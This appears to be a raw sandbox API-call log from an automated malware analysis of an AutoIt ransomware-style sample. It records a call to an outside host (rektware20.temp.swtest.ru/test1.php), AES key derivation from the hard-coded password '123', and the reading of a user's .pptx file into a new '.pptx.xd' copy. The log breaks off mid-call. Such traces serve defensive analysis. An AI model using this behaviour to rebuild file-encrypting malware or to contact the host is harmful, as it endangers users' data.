[0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.513] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0071.514] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.514] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0071.514] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0071.515] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.515] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0071.515] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0071.515] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620fb8, lpdwBufferLength=0x130ee1c) returned 1 [0071.515] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.515] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.515] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.516] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0071.516] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0071.516] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0071.516] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0071.516] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0071.516] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.517] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.517] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.517] CloseHandle (hObject=0x0) returned 0 [0071.517] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.517] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0071.517] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0071.517] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.517] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.517] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.517] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.517] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.517] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.517] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0071.518] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.518] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.518] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0071.518] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.518] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.518] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.518] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.518] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.518] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0071.518] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.518] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0071.518] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0071.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0071.519] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0071.519] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0071.519] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa890) returned 1 [0071.519] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.519] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.519] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0071.519] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.520] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.520] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.520] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.520] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.520] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.520] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.520] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.520] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.520] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.520] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.520] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.520] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0071.520] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.520] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.520] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0071.520] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.520] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.520] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.520] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.520] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.521] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0071.521] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.521] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.521] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.521] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.521] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.521] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.521] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.521] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.521] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.521] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.521] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0071.521] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0071.522] CryptCreateHash (in: hProv=0x17aa890, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0071.522] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.522] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.522] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.522] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16293c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.522] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0071.522] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0071.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629350, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0071.522] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.522] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.522] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.522] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0071.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621768, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0071.523] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0071.523] CryptHashData (hHash=0x164c2b0, pbData=0x16294e0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0071.523] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.523] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.523] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.523] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.523] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.523] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.523] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.523] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0071.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16218d0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0071.524] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0071.524] CryptDeriveKey (in: hProv=0x17aa890, Algid=0x6610, hBaseData=0x164c2b0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c7b0) returned 1 [0071.524] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.524] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.524] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.524] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.524] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.524] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.524] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0071.524] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0071.524] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0071.524] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0071.524] CryptDestroyHash (hHash=0x164c2b0) returned 1 [0071.525] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.525] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.525] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.525] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.525] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.525] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rusc.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0071.525] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.527] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0071.527] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.528] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.528] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.528] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\" (normalized: "c:\\users\\ciihmnxmn6ps\\documents")) returned 0x11 [0071.528] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rusc.pptx.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0071.529] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.529] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.529] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.529] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.531] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0071.532] ReadFile (in: hFile=0x2ac, lpBuffer=0x186d008, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x186d008*, lpNumberOfBytesRead=0x130edb0*=0xa70e, lpOverlapped=0x0) returned 1 [0071.533] ReadFile (in: hFile=0x2ac, 